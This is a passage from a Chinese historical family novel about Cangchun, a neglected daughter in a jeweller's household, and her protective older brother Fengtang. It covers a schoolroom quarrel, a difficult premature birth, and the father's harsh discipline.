藏春笑容中难掩一点小得意,声音软糯:“是哥哥亲手给我做的。” 贾朵早知戚家做珠宝生意,也知戚风堂手艺了得,但此时眼底的歆羡还是要溢出来:“风堂哥哥待你真好,不像我的哥哥只知道抢我的蜜饯匣子。” 这边的动静,连同那句“待你真好”,清楚钻进了文芝的耳朵,她本就因何郝连的纠缠心头起火,此刻看着那日头下炫目的橘钗,一股被忽视的委屈直冲脑门。 她冲到藏春面前将那支橘钗夺了过来,直直杵到戚风堂面前:“大哥哥,你怎么能这么偏心?我问你要珍珠做的兔子,都好几个月了,你答应得好好的,可东西呢,影子都没见着,自从这个二妹妹回来,你眼里都没有我了。” 戚风堂看着文芝通红的眼眶,又看看身旁藏春惊惶难过的眼神,有些手足无措。 他试图安抚:“文芝,别闹,不就是珍珠兔子吗,下个月你生辰,哥哥一定补给你,做个更大更……” “我不稀罕!”文芝眼泪终于滚落下来,她推了戚风堂一把,“你就是偏心。” 一旁的何郝连看热闹不嫌事大,怪叫一声,“哎呦,文芝妹妹好大的火气,你哥偏心也不是一天两天了,你跟他撒泼有什么用?有本事你冲我来啊!” 他故意挤眉弄眼,戚风堂一阵头疼,他这几句话不亚于火上浇油。 文芝此刻正是一腔邪火无处发泄,何郝连的挑衅精准地撞在了枪口上,“何郝连,我撕了你的嘴!”她像头发怒的小狮子,扑过去就要抓何郝连的脸。 “来呀来呀!”何郝连一边灵活地躲闪,一边还不忘嘴贱,“打不着!你哥就是更喜欢藏春妹妹…” 西厢房瞬间翻腾起来。 藏春想去捡起地上的橘钗,却被混乱的人影撞到书案边,风林吓得“哇”地一声哭起来,手中毛笔乱挥,墨汁甩了自己一脸,也溅到了旁边戚风堂的袖子上。 戚风堂既要护着吓懵得贾朵和藏春,又想拉开扭打在一起的文芝和何郝连,还要分神去看顾大哭的风林,焦头烂额,分身乏术。 “别打了!”戚风堂厉声喝道,试图控制局面。 文芝和何郝连哪里听得进去?书卷被撞落,笔墨翻飞,纸张撕裂,小小的西厢房乱成一锅粥。 戚风堂对守在门口目瞪口呆的四敞喊道:“把杜姨娘请过来。” 话音刚落,有戒尺的闷重声狠抽在门框上。 门口,柳先生面色铁青,一身洗得发白的青布长衫,长须因怒而颤。 方才他在院外就听里面沸反盈天,此刻亲眼目睹这鸡飞狗跳,斯文扫地的场景,一张严肃的脸恐怖如斯。 粪土之墙,商贾门户,果然不知礼义廉耻,若非他迫于生计,是绝不会来此地教书。 他冷哼一声,手中的戒尺再次扬起,直直朝着离他最近的始作俑者何郝连和文芝抽去。 文芝吓傻了,她从没挨过打,闭眼的时候,沉重的戒尺结实抽在了戚风堂横挡出来的小臂上。 文芝被拽得一个趔趄,看到柳先生是真的打人,她脸色煞白,嘴唇哆嗦地冲出学堂,朝着杜姨娘院子的方向狂奔去。 “文芝。”戚风堂顾不上手臂的痛,急唤出声,但文芝的身影已消失房内。 杜姨娘闲坐在菱花镜前,手指蘸着鲜红的蔻丹,小心翼翼地涂抹,享受着难得的清净时光。 “姨娘——” 杜姨娘手一抖,还未等她起身,文芝便满脸泪痕扑了进来,哭得上气不接下气,“哥哥、柳先生、何郝连他们都欺负我…” 杜姨娘听得云里雾里,想着家里的风林还要念书,就硬是拉着文芝去给柳先生道歉。 还未将人拖出去,戚焕面色铁青地站在门口,“不必去了,柳先生已被气得辞馆了,还是当着我的面走的,家塾?读书?我看是养了一群不知天高地厚的祖宗!” 杜姨娘脸色讪讪,不敢则声。 家塾,还没正式开始,就这般荒唐地落幕了。 . 两日后,戚宅门口,薄雪又覆了一层。 贾府要搬去汴京了,本来是还有段时间的,结果北边生意急等贾老爷处理,而这边贾朵上的私塾也没有了,索性全家提前搬走。 管家已命仆从将细软装车,准备启程。 藏春和贾朵站在门廊下,两个小女孩的手紧紧握在一起,依依惜别,相约着日后书信往来。 学堂散了,贾朵走了,藏春失去了来戚宅以后的第一个好伙伴。 西厢房空寂下来,她独自坐在后院冰冷的井台石上,小小的身影蜷缩着,“都怪我,要不是我戴了那支橘钗,大姐姐就不会生气,柳先生也不会走,朵姐姐也不会这么快搬走。” “傻话。”温和的声音在她头顶响起,戚风堂不知何时已蹲在她面前,轻轻碰了碰她的脑门,“世事难料,岂是小小一支钗能左右的?” 他伸出手,掌心向上,将她拽起,“别坐冷石头,哥哥带你去铺子玩。” 戚宝斋位于临安城最繁华的南街上,朱漆门面,黑底金字的招牌。 戚风堂带藏春进店晃了几圈,不一会有便人问询,“小娘子,你这发簪好生别致,是哪里买的,我也想给我女儿买一支。”一位身着锦缎的贵妇忍不住开口。 戚风堂适时上前,含笑介绍,“夫人好眼力,此支橘钗取诗经楚辞中‘后皇嘉树,橘徕服兮’之古意。”他语调清朗,文采斐然,瞬间将一件首饰拔高到了文玩雅物的境界。 贵妇们听得似懂非懂,但“楚辞”“古意”这些词,已足够让她们觉得高雅不凡,瞬间击中了贵妇们的心。 “那给我来一支!”“我也要一支!”“给我家姑娘也订一支!” 订单如雪片般飞 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戚风堂坦然执玉迎上众人,压低嗓音,“前朝李后主为宠妃改玉名时,说的正是俗名配俗人,新名赠新魂,此玉非古玉,却承古意蕴新魂,正是为诸位高雅华贵,端庄秀丽的夫人们而生的。” 一番话娓娓道来,尽是讨巧。 其实惭愧…戚风堂读书也不算多,统共就背过几个典故,卖货时用来用去,但确实屡试不爽。 “既是少东家如此推崇,这玉倒也合我眼缘,替我包起来吧。”一位鸭蛋脸面,细脖颈的妇人开口,重金将玉佩购入。 先头那找茬的贵妇,说了句“油嘴滑舌”便愤愤上马车离去,她本就是其他珠宝铺的掌柜,此番来搅局不成还让那小孩出了风头,自然生气。 玉被人买走,围观的众人也都散去。 藏春揪着戚风堂的衣角,见有人爽快买下玉佩,才松了口气,却又忍不住仰起小脸,扯了扯戚风堂的袖子,:“哥哥…你是不是骗人。” 她记得哥哥刚才承认了那不是古玉。 戚风堂弯腰,眼神带着藏春尚不能完全理解的世故与智慧。 “这不叫骗人,二妹妹。”他目光扫过陈掌柜手中沉甸甸的银钱,又掠过那妇人满意离去的背影,“若一个动听的故事,能让人心头欢喜,手中之物便也有了新的价值。” 门外的戚焕本因私塾一事愤慨,结果刚到铺子就瞧见这一幕,滞销已久的驴鞍石被轻易的卖出。他叹了口气,不知这份鬼精灵好是不好。 戚风堂本也是想带藏春出来散心,“心情好点了吗?” 藏春点头。 “以后等二妹妹长大了,哥哥就把这间铺子送你。”戚风堂说得认真,柜边陈掌柜拨算盘的手顿了顿。 “给我了,那哥哥怎么办?”藏春仰起脸来。 戚焕听着气不打一处来,他还没死呢,长子就要祖产送人,刚要进去教训,就听戚风堂下一句,“无妨啊,反正哥哥以后还会开很多很多间铺子,开遍江南江北。” 戚焕悬在门槛上的皂靴,又缓缓退了回去。 5. 藏春心事 东厢房里传来一声声抱怨。 宋明音喝着药铺里抓回来调理身子的药,实在受不住那辛辣苦涩,弯腰扶着小树干呕。 酸水一阵阵上涌,直到胃里的早膳都吐没了,才喘上一口气。 “夫人这又是何苦,”奶娘捧着定窑小盏,声音发颤,“您膝下已有大少爷承欢,何必再遭这份罪?”连从小跟她大的奶娘都不能理解她对要孩子的执拗。 宋明音和水坚持着把那碗混着蜈蚣蝎子渣的药喝完了,擦了擦嘴角的褐渍。“奶娘你不懂,我总觉大郎与我不亲近,他满心满眼都是那些珠翠宝石,平日言语也多不贴心,何况杜姨娘育有一子一女……我已经找大师批过命,大师说我若再怀子,定然与我是母子同心的。” 奶娘颤颤接过药碗,也不知说什么好了。 午间吃饭的时候,戚焕也回来了,最近戚宝斋多了不少订单,尤其来买戚风堂设计的小玩意儿的多。 什么会飞的蜻蜓,会发光的橘子,和指甲一样薄的金箔刻花。 简直闻所未闻。 饭桌上,宋明音搛了一箸醋鱼,刚闻着味儿就翻涌上一阵恶心,奶娘忙捧过唾壶,她对着壶口干呕了几声,难受地抚着胸口顺气。 戚焕问她怎么了,戚风堂和藏春也停了箸。 “想是今日这鱼做得腥气了些,闻着不惯。”宋明音蹙眉道。 她话音方落,藏春便小心地将那碟醋鱼挪到自己跟前,动作轻缓,生怕溅出汤汁。 杜姨娘低头拨弄着自己碗中的莼菜羹,新染的蔻丹被她被抠落了一小块。 “大夫人肚子里面有小妹妹啦。”风林指着宋明音平坦的小腹,声音是难得的清楚。 这一声让众人都回过神来,宋明音也是微微诧异,自己的月信的确是迟了好几日,还没来得及欣喜,便被风林一声小妹妹搅扰了心情。 她是再需要一个能继承家业的儿子又贴心的儿子,女儿有什么用。 戚风堂闻此消息,眼底倒漾起一丝期待,比起顽皮的弟弟,他私心确更盼个玉雪可爱的妹妹。藏春悄悄看他一眼,心想这妹妹是与哥哥同一个爹娘,他定是极欢喜的。 戚焕年逾而立,膝下已有四个孩子,但添丁进口终是家宅兴旺之兆,自然开怀,立时命小厮速去请杏林堂的大夫来诊脉,又吩咐下人将席间气味浓重的菜肴悉数撤下。 自戚风堂落地这十年间,戚焕的心思多在杜姨娘身上,许久未曾对她这般体贴了,宋明音低头抚着小腹,眉梢挑起间带着欢愉。 偏生风林还在兀自念叨“妹妹”,眼见宋明音脸色转黯,杜姨娘忙出声制止:“别听小孩子乱说,也可能是个弟弟呢。” 戚焕倒是无所谓,只说:“男孩女孩皆是缘分。” 戚宅前街的杏林堂坐诊大夫来得甚快,切脉片刻便拱手道喜,确是滑脉无疑,只是脉息略弱,嘱咐宋明音务必静心安养,切忌劳神忧思。 戚老夫人也笑呵呵道:“阿弥陀佛,咱家又要添丁进口哩。”宋明音此刻心情舒畅,瞧着痴呆的婆母也觉顺眼了几分。 . 西偏厦,杜姨娘沉默对着玉石条盆栽出神,文芝在后面作怪,突然跳过来,唬得她心口怦怦直跳。 “文芝,以后不许这么闹了,大夫人又有又孩子了,万一你爹不疼……”后面的话她噎在喉间,目光扫过一旁四岁了还口齿都不清的儿子,愁绪缠心。 戚风堂本就深得老爷倚重,掌管铺中实务,若大娘子此番再添一子,她往后的日子,怕是要愈发难了。 文芝不以为然,带着被宠多年的松弛与淡然,“爹爹最疼的就是我和风林了,便是连大哥哥都比不上的,况且家里还有二妹妹垫底呢,姨娘有什么可担心的。” 杜姨娘望着女儿天真的脸庞,心底又是一叹,老爷表面上对长子严厉,实则铺中家事皆付其手,文芝年纪小,哪里懂得分辨?只以为爹爹每日的笑脸便是顶顶的疼爱了。 至于那个没娘的藏春……文芝确实无需与她相较。 而被这个家忽略在角落的藏春,此刻正守着书案上铺开的澄心堂纸,对着窗外那株虬枝盘曲的老桃树,试画了朵桃花。 脑中又掠过戚风堂画的首饰图样,仔细思忖了下,便提笔在上面缀了一颗圆滚滚的珠子。 她左等右等戚风堂也不来,风林那句“大夫人要有小妹妹了”的话在她耳边萦绕不去,她蔫蔫地趴在案上,奶声奶气的问兰翠,“翠姨,大夫人怀的是弟弟还是妹妹啊?” “这哪能知道,得等生出来呢。”兰翠看她小小一个人这么多的心思,以为她是着急,问道:“二小姐是想要弟弟还是妹妹?” “都好,我已经有风林一个弟弟了,还是要个妹妹比较好。” 冰雪冷白,吸入肺腑的空气有着浑然天成的清新纯净。 戚风堂裹风而来,仍旧是先烤完火才近藏春的身,他看了藏春画的画,虽然笔力不足,线条时有不稳,但依稀可见灵气斐然。 他先温言夸了一通,再指出其中问题,“你看这里”,他握住她的小手在线稿上游走,鼠须笔尖落到那颗圆滚滚的珠子,多描几遍将它拉长,“桃花瓣已经很圆润了,再坠圆珠便显得累赘,所以坠着的这颗珠子要是水滴型才好看。” 戚风堂手上的茧子仍是有些磨人,但藏春也不嫌弃了,反而有些习惯这种酥酥麻麻的感觉。 她硬挤笑容,戚风堂说什么她都应声说“好”,小女孩自以为隐藏得绝佳,可在外人看来是那么的明显生硬。 异常低落的情绪被戚风堂看出来,他越是问,藏春的委屈害怕越是无处遁逃, 在戚风堂问了第三遍的时候,她眼眶终于红了,挤出了一滴泪。 眼底的泪痣和真的眼泪,同时在油灯下反着黏糊糊又拉得很长的光。 二妹妹一向不爱哭,一定是发生了什么天大的事情,戚风堂有点措手不及,撂下鼠须笔,水滴珠子也不画了,只是一味慌里慌张地追问,“二妹妹,为什么哭啊,是怎么了?谁欺负你了?” 屋外雪落无声,唯有炭盆里的灰墼偶尔爆出一星轻响。 “夫人生了小妹妹,哥哥肯定就不喜欢我了。”藏春声音还比不上迸 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戚风堂两眼一抹黑,何郝连下午的确来过一次给他送《占城国风物志》就一会没看住,他就开始胡言乱语。 方才过来时他就该注意到藏春的衣袖上沾了一点何郝连嘴里叼着的麦芽糖。 “二妹妹,他都是瞎说的,你要是听他的你可就是小傻子了,不管娘生了多少个妹妹,哥哥都最喜欢藏春。” 藏春黑溜溜的眼,像被夏日凉水浸润的葡萄,清凉沁人,总想引人去摸一摸,碰一碰。 眼底的那颗泪痣,更像是装着全部的心酸与委屈,戚风堂觉得这世上简直没有什么比二妹妹哭最让人揪心的事了。 “我真的永远是你最爱的妹妹吗?” “是。”戚风堂斩钉截铁,他已经害她被抛弃一次,孤零零的成长在那个满是青灯古佛与尼姑香客的洞月庵五年。 不能让她觉得自己再被抛弃一次了。 藏春紧握的小拳头终于松开,戚风堂看着她那一截缺失的尾指微微颤动,索性别开眼。 身体里某个部位像是有一把不锋利的小锤子来回碾着,不疼但是泛着酸意。 他一直在逃避,仿佛这样就能减少些愧疚,至今藏春的哭泣让他再一次知道,他躲不掉的,“是,哥哥永远都会疼你护你,不让任何人欺辱你。” 这是年少的戚风堂能做出最长久也是最沉重的许诺。 藏春泪痕已经风干,转眼换上了笑颜,痛快的伸出那截残缺的小指,跟戚风堂拉勾。 他吞了一口唾沫,缓慢与她合指勾上,肉眼可见残缺与特殊的触感,更令他难以诉说自己的心情。 兰翠听庵里的姑子说,那是藏春三岁时自己乱跑,去厨房拿刀割了手。可她若是一直好好地待在戚宅,这样的事情根本不会发生。 好在她很乐观,不会因此自伤。 “那世上是不是不会有人比哥哥更爱我了?”藏春仰头,方才的思虑烟消云散,露出洁白的牙齿,天真又可爱。 “以后会有很多很多人喜爱二妹妹,但是哥哥永远是最爱你的那一个。” 6. 入夏 转眼,宋明音腹中的胎儿已有七个月的光景。 这一胎怀得着实辛苦,胎相不安稳,害喜呕吐一直拖到六个月方才勉强止住,如今仍是时时盗汗淋漓,血色不华,面上还添了些淡淡的褐斑。 厨房里日日煨着老母鸡汤给她补身,可纵是如此,单薄的绫罗中衣仍很快就被虚汗浸透。 她心绪烦闷难舒,忆起当年怀时戚风堂时,何曾这般煎熬,那时谁见了不赞她气色红润,步履轻捷。 便是戚风堂刚落地时红皱皱一团,也比旁人婴孩更显周正俊俏。 李大夫前来宅子中为她切脉问诊,宋明音蹙眉抚着小腹,“我这胎怀得与上一胎不同,而且小腹常感坠痛,脸也浮肿起斑。” “夫人元气尚未补足便又怀孕,如今胎儿日长,汲取母体养分,才会使您身虚劳累,至于面上褐斑…妊娠之疾,容色稍损不过暂时,安心静养便是。”李大夫缓缓收起脉枕纳入药箱,准备离去。 宋明音犹豫片刻,终是按捺不住探问,“李大夫,可否瞧出我腹中这胎是男是女?” 未等大夫回答,一旁的戚老夫人忽地插言:“丑娘生俊儿,丑娘生俊儿哩!” 被祖母这样一插科打诨,李大夫便也拱手告退,不再作答。 此时已是盛夏酷暑,赤日炎炎,便是静坐不动也能惹出一身黏腻汗水的时节。 八角井边,白瓷盆里栽着几株茉莉,藏春时常缠着翠姨给她做香膏。兰翠嗔怪嫌烦,但得闲时还是会摘点芬芳扑鼻的雪白花苞,送去厨房蒸煮香露。 东跨院的青瓷莲杠里,粉荷亭亭玉立,藏春日日看,又学会了临摹荷花。 西偏厦种着成片的木槿,戚焕怕文芝和风林糟蹋,特意挑选的耐暑易活种的品种。 东厢的账房,有柳先生送来的广南栀子,道是五文钱一枝,他说能压算盘珠子的铜腥气。 陈掌柜笑嘻嘻地将栀子插入细口瓶,深吸一口,冷香沁脾,好闻得紧。 看着柳先生匆匆来去的背影,戚风堂感叹着说了句:“看来上次私塾之事他还没过去,柳先生真是符合正经…读书人的模样。” “读书人怎么了?”文芝接口道,她对读书人的喜爱带着股执拗,“我就觉得读书人很好,出口便能成诗,见着天上飞鸟也能说出成双成对的好听的话。”自然,这读书人里可不包括她最厌的柳先生。 自天暖后,文芝时常偷偷跟戚风堂和何郝连去外面的学堂,看那些摇头晃脑专攻书本的才子。 戚风堂不和她争辩,眼神早已飘向窗外那个扬着蝴蝶丝绦的粉色身影,如今藏春的双环髻已经被他梳得很好了,两个环一般大,不会再出现左环大的像炊饼这样尴尬的情状了。 藏春正蹲在地上给桃树旁边的橘子树浇水。 它还是小小的矮矮的,就像个孩子一样需要照顾的可爱小树,藏春每日对它尽心尽力,活像它的小娘亲。 这颗橘树还是开春时,戚风堂用自己赚来的钱从花鸟市场买来的,他那时就想,以后藏春可以摘自家的橘子吃了,她一定高兴。 兰翠从集市买了两份糖炒栗子,一份孝敬祖母,一份给藏春。 闻着焦香的栗子味儿,藏春咽了口唾沫,还是重新包好,“我去送给杜姨娘。” 短腿跑的倒是很快,兰翠笑她小小年纪就会溜须,但她也并不阻拦,大少爷疼她到底年纪还小,若是能得主子庇护,以后二小姐日子也好过些。 这大半年里,藏春也尝试讨好大夫人,可着实起不到用处,至于爹爹那里,他整日板着脸,她也不敢轻易上前。 只有杜姨娘还算和蔼近人。 西边耳房的木槿花开的正好,暖风徐徐掠过,将其连成一片淡紫色汪洋,风林揪着小蒲扇般的花瓣要往嘴里塞。 藏春连忙制止。 “二姐姐,我饿……” 藏春忙将荷叶里包的炒栗子拿给他,“风林,饿了就这个,花瓣是不能吃的。”她边说边用手比划着,生怕风林听不懂。 两个人说笑了一会,杜姨娘才从侧门回来,她被毒日晒得香汗淋漓,步履轻轻,宛若一朵出水的芍药花。 她看着藏春在这里,神色一愣,随即恢复过来,笑道:“藏春来了啊,怎么也没提前告诉姨娘一声。” “杜姨娘,我来给大姐姐和风林送炒栗子吃,这就走了。”藏春乖巧道别。 待她身影彻底消失后,杜姨娘赶紧扶着风林肩膀问道:“你跟你二姐姐说我去哪了吗?” 风林边摇着头,边吐甩着嘴角的栗子果壳,欢快地唧着嘴巴,杜姨娘这才觉得自己昏了头,风林都不知道她去哪了,怎么去告诉别人。 从戚宝斋查完账,戚焕径来了这里,风林高兴的唤爹爹,跌跌撞撞的奔着他去了,戚焕一把将他抄起,抱上秋千让他飞高高。 见父子如此温馨,杜姨娘也是笑容满面,进里屋从螺钿匣里捻了一撮雪芽儿,给戚焕泡了一盏茶。 戚焕想起方才那个粉色背影,“我好像看见藏春了。” 背对着他,杜姨娘神色微颤,声音如常,“藏春来给文芝和风林送栗子呢。” “嗯,藏春倒是乖巧的,就是性子有些怯懦。”戚焕难得提起这个女儿,他对藏春谈不上喜爱与否,实在是只有陌生。 杜姨娘端茶来,这雪芽是戚焕重金从日铸山购入,茶色淡只留其本味,为文人雅士所钟爱。 他浅啜一口便放下了,这种东西果然还是适合留作待客。 “近来总有些算命先生上门,又是替大夫人相男女,又是批命格,你得空也劝劝她,少信这些,免惹人笑话。”戚焕提起这事,也不禁蹙眉冷目。 杜姨娘柔声应下,见戚焕对大夫人这胎似也不甚热络,试探道:“风林今年也五岁了,大郎像他这般年岁时,都已随老爷去铺子学事了。老爷看……” “他不急,”戚焕摆摆手,“风林不比大郎启蒙早,先让他顽吧。” . 藏春从杜姨娘那里悠悠回去,便看见了院中戚风堂的认真专注的背影。 他捧着藏春的黄花梨木妆奁,伸出手指仔细比对大小,背 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看来他得更用心了,否则铺子里那些首饰,怕都配不上他的二妹妹了。 藏春却不知他心中所想,小手攀上他沾着金粉的衣袖,拉他去暖阁用饭。 自宋明音有孕不适,便开了小厨房单做饮食,其余人鲜少共聚,多是各自用膳,今日难得齐聚暖阁。 宋明音七个月的肚子隆起,文芝、风林还有藏春都纷纷投去好奇的眼光。 藏春很想摸摸小宝宝,她只是稍微的靠近了一点,便引得宋明音的警惕,她护着肚子退后几步,眸中尽是紧张。 这个孩子本就不稳,将她折磨的要命,到这个月份一点风吹草动都让她胆战难安。 这眼神动作对一个六岁的孩子来说实在太受伤,可她毕竟怀着身孕,戚焕想了想,张开的嘴又合上了。 “娘,二妹妹并未做什么,您是不是有些……”戚风堂不忍藏春无辜受屈,出声劝解。 藏春心中难过,可她也不想哥哥因她与大夫人争执,悄悄扯了扯戚风堂的衣袖。 “大郎,你便是这般同娘亲说话的。”宋明音生气指责,“你幼时体弱多病,哪一回不是我彻夜不眠地守着,当年若不是把冲撞你命的二妹妹送走,还不知你性命能不能…” 话音戛然止住。 这番尖刻言语,终以戚风堂的恳切道歉作结。 宋明音孕中情绪来得急去得也快,转眼又说起旁事,她与戚焕商议:“老爷,前日那位大师言道,城外寒香寺极是灵验,我想亲去拜拜,求菩萨保佑腹中胎儿平安降生。” 杜姨娘搛的一口烧肉,直直落在风林碗旁,风林见姨娘并未察觉,便自己动手捡起来,放进了嘴巴里嚼咽了。 寒香寺远在城外三十里,马车需行整日,况且夏季多雨,山里路滑,她挺着大肚子,怎么说都非稳妥之举。 戚老夫人不明事,一旁拍手叫好,杜姨娘也劝说,到时必要多带上几个下人才好。 戚焕本不想应,奈何宋明音坚持,他也只得由着她去了。 7. 雷雨夜 藏春发现矮柜上每日都会多一朵新鲜的栀子。 抬眼看去,正因今日没有而感到诧异,便见兰翠悠然哼着小曲,手中拿着雪白的栀子往灌水的细瓶里插。 兰翠说原是柳先生往账房送了一枝,谁知陈掌柜觉得好闻,喜欢的不得了,戚风堂当即让柳先生每日都送上一枝新鲜的。文芝进账房时也闻着稀罕,陈掌柜就索性作主,给两位小姐都定了一支。 栀子五文钱一枝,除了它本身的价钱,柳先生送来便又多付他两文,有利可赚,柳先生终究是不情不愿接了这个活计。 连藏春都觉得他很有意思,明明不喜欢戚家,却还是每日风雨不误地来送花。 兰翠与柳先生在廊下交易,他每每过来,那身洗褪色的旧衣衫上都沾着栀子花的清冽香气。 风一吹,衣角挨着衣角。 藏春看着兰翠,她已经盯着那朵栀子笑好久了,她感觉那笑容感觉格外的…不对劲,就好像是吃了沾牙的芝麻糖,嘴角被黏住了下不来。 真是奇怪。 距离宋明音去寒香寺已经两日过了,今日正该回程。 从晨起天侧便凝着浓云,灰压压地下沉,空气闷得透不过气,到了天色擦黑,被卷走的灰云成了墨色,雨才劈里啪啦的打下来。 众人见宋明音迟迟未归都有些担心,藏春和祖母坐在炕上翻绳,祖母经常耍赖把绳子打成死结,藏春没办法还得细声哄诱着她。 雨水汇成涓涓细流,打在窗子上越来越急,屋内闷意尤甚,一道白光骤闪,外面登时雨电交加,带起轰隆隆的雷鸣。 “打雷喽,打雷喽……”祖母捂着耳朵往被里钻,还把藏春也揽在怀里。 “娘,你就别添乱了。”戚焕拂过衣袖,语气尽是面对老娘的无奈,那雷声更是敲得他整个人都有些紧绷。 一更天的梆子都响过三声了,宋明音的马车仍是没有一点动静,戚焕让几个小厮出去迎一迎,嘴里边嘟哝着:“什么时候回不好,偏偏选在今天……” 雨越来越大,嘈嘈切切如击铜盆。 藏春隐约感觉气氛凝重,忙从祖母的怀里挣出来,扯了扯脸色同样不好的戚风堂的衣袖,“哥哥,大夫人一会就会回来的。” 戚风堂点点头,收下了妹妹的安慰,目光却焦灼地投向门外如注的暴雨。 戚宅三间正房,一间是戚老夫人厢房,一间是暖阁,另一间是金玉阁,里面供奉五显财神。 香案摆满元宝,杜姨娘跪在鎏金五显像前,闭着眼睛双手合十,心里七上八下,外面的风雨声仿佛被隔绝,只余下自己擂鼓的心跳。 文芝走进来,小手搭在她的肩胛上,她瑟缩了一下,突然抱紧了文芝,声音轻轻发颤:“文芝,外面……下雨了吗?” “都下了好久了,这么大的声音,姨娘还听不到么?”文芝不解。 急促的脚步声传来,奶娘颤抖的声线穿透雨幕,“不好了,大夫人要生了!” 才七个月就要生了,下人赶紧冒雨慌乱地去找稳婆和大夫。 宋明音在屋里喊得嘶声裂肺,浓重的血腥气弥漫开来,奶娘在一旁不住地念佛祈祷。 戚焕揪住赶车的马夫询问,原来是下雨路滑,抬轿的脚夫踩到石头滑了脚,轿子剧烈颠簸,受了惊吓又一路奔波,这才引发了早产。 孩子弱小,产程倒不算太长,生下的婴儿皱巴巴一团,虚弱得可怜,宋明音面无血色地瘫在床上,这一日的惊吓与早产让她感觉如坠云端,浑身脱力。 身上的血好不容易才被止住,大夫和稳婆疲惫地出来。 戚焕和杜姨娘忙迎上去,李大夫叹息着摇头:“大夫人受惊难产,伤了根本,险些一尸两命,往后……怕是难再有孕了。” “那孩子呢?”杜姨娘追问。 “是个千金,七个月早产,先天不足,心脉孱弱,只能好生将养,看天意了……”言外之意大家也都清楚。 戚焕心中不由升起怨怼:若非宋明音执意挺着七个月的肚子去那寒香寺,何至于产下这样病弱的孩子,真是造孽。 得知消息的宋明音如遭霹雳,她怎会料到轿夫会滑脚?看着襁褓中猫儿般弱小,连吃奶都费劲的女儿,一颗心沉到了谷底。 产房收拾停当,那小小的孩子只是沉沉睡着,浑身通红,戚焕过来看了一眼,眉宇间愁云更重。 藏春小心翼翼地伸出手,想摸摸妹妹的小脸蛋儿,宋明音满腔无处发泄的怨愤终于找到了出口,冲着藏春嘶声大吼:“定是你这丧门星回来了,才克得我生下这病儿,就是你克我,把我克得这般凄惨,去到神像前给我跪着,替你三妹妹赎罪!” 她刚从鬼门关挣扎回来,披头散发,嘴唇皲裂,满目红丝。 藏春被吓懵了,僵在原地,杜姨娘本想替她说句话,可看着宋明音怀中气息奄奄的幺儿,终究垂下了头。 一屋子人沉默着,藏春只得攥紧手指,穿过冷雨去金玉阁里的蒲团跪下来。 她揉了揉眼睛,没有眼泪流出来。 雨渐渐停了,开了窗通风,一丝凉意透入,藏春跪在蒲团上,又冷又饿,心中满是懊悔,若方才不靠近三妹妹就好了。 她小小的身影蜷缩着,竟不知不觉睡着了。 不知过了多久,脚步声传来,藏春一个激灵,迷迷糊糊强撑着跪好。戚风堂看着妹妹单薄的身影,心中很不是滋味,脱下外衫轻轻披在她身上。 “是哥哥呀,哥哥去看过三妹妹了吗?她…是什么模样?”藏春的声音带着睡意和小心。 戚风堂没想到她自身难保还记挂幺妹,心中一涩,温声应答:“看过了,我从铺子里拿了个长命锁,盼着三妹妹能康健些,爹说三妹妹就叫幺儿,这样好养活。” 藏春竟还能露出一点笑容,她就知道哥哥会来,她果然猜对了。 实在累极了,她的身体晃了晃有些不稳,发丝向左向后的倒,下巴时不时轻点。 像一只可爱的兔子。 戚风堂连忙靠近些,让她能倚靠着自己。 今日他才真正明白,二妹妹为何总执着于确认自己是否最喜欢她,她在这家里,是真的无人疼惜。 “哥哥,我好累……” “累了就靠着哥哥睡会儿,哥哥在这儿陪你。” 藏春搓了搓冰凉的肩膀,真的沉沉睡着了,她的眼睫像被水洇开的细毫笔,长而安稳地铺散开,戚风堂坐在蒲团上,将藏春的头轻轻挪到自己腿上枕着。 五显财神前,一大一小静静地跪倚着。 不一会儿,戚风堂也合上了眼,却睡得不甚安稳,稍有动静便惊醒,他仰起头,感受到腿上的小脑袋掉要掉了去,忙用手掌托住她的侧脸,将她平缓得往上抬,重新枕在自己的腿上。 戚焕的皂靴在木地板上摩擦。 戚风堂嘴唇微张,身子不自然的绷紧,欲唤醒藏春,却被戚焕眼神制止,他压低声音道:“让她睡吧,待会儿她醒了,你就带她回去歇息,只说是我的意思。” 看着熟睡的藏春,戚焕轻轻叹了口气,“你娘刚生下幺儿,又遭了罪,心绪不佳,这才迁怒了藏春,这些日子你们多担待些,顺着她便是。” 戚风堂心里明白,也不再多言,待到藏春醒后便带着她回去了。 杏林堂的大夫这些时日几乎要住在戚宅,幺儿时常一口气憋住,小脸憋得青紫,半天缓不过来,他摇头叹道:“是胎里带来的喘症。” 金贵的药材跟奶水混着喂,宋明音日日以泪洗面,怨自己命苦,无奈下也只得将全部心神都扑在了这病弱的小女儿身上。 自上次产房一劫,藏春得了教训,极少再靠近大夫人的院子。 戚焕每每踏入宋明音房中,也被她抱着孱弱幺儿哀泣的模样惹得心头沉重。日子久了,他便更常往杜姨娘清静的西偏厦躲闲,图个耳根清净。 这日,戚焕本在杜姨娘处用午茶,刚啜了两口,铺子里的小厮便满头大汗地跑来,附耳急报了几句。 戚焕脸色骤变,手中茶盏溅出几滴滚烫的茶汤,抬脚便往外疾走,步履带风地直奔戚宝斋。 待他再踏进家门时,已是日头偏西,他面色铁青,周身笼着一层骇人的低气压,手中捧着一个紫檀木匣。 进了戚风堂的翠园,戚焕将那木匣重重砸在案台上。 掀开盖子,里面赫然是戚风堂领着铺中的老师傅,为南安王侧妃精心打造的金累丝牡丹嵌宝翟鸟冠。 他目光扫过儿子惊愕的脸,抄起挂在墙上的家法牛皮鞭。 “给南安王侧妃的头面你也偷工减料,岭南月光石是市舶司罚没的劣品,三百文都不值,若非我查验,你险些酿下大祸。” 鞭梢扫到正在埋头画图纸的戚风头右臂,他痛得皱了下眉,“爹先息怒”。 他语速飞快,“侧妃大朝会于巳时,阳光直射冠顶,琉璃珠的光斑必会伤人眼角,上次柳先生与人洽谈,孩儿无意听见,《舆服志》上有不得用镜面反光之物的规制,我向柳先生请教,他便帮我测算了角度时辰,所以才自作主张将原本的琉璃珠换掉。” 一番话,有理有据,戚焕脸上怒容一滞,鞭梢停在半空。 戚风堂趁势拿起自己那颗复合珠:“岭南月光石虽多棉裂,可孩儿将其磨薄,背后又掺了一点带金粉的蜂蜡填充,既能固形,又能增暖光,而且这种方法能大大节约成本。” 他急于证明,额头出了汗:“爹曾教过我,匠人须懂得光与影变换。” 聪明但也太狂妄,小小年纪就敢擅自做主,戚焕今日铁了心要挫他的锐气。见戚风堂仍振振有词,根本不知道自己错在哪里,手中的鞭子更是狠狠挥他背上。 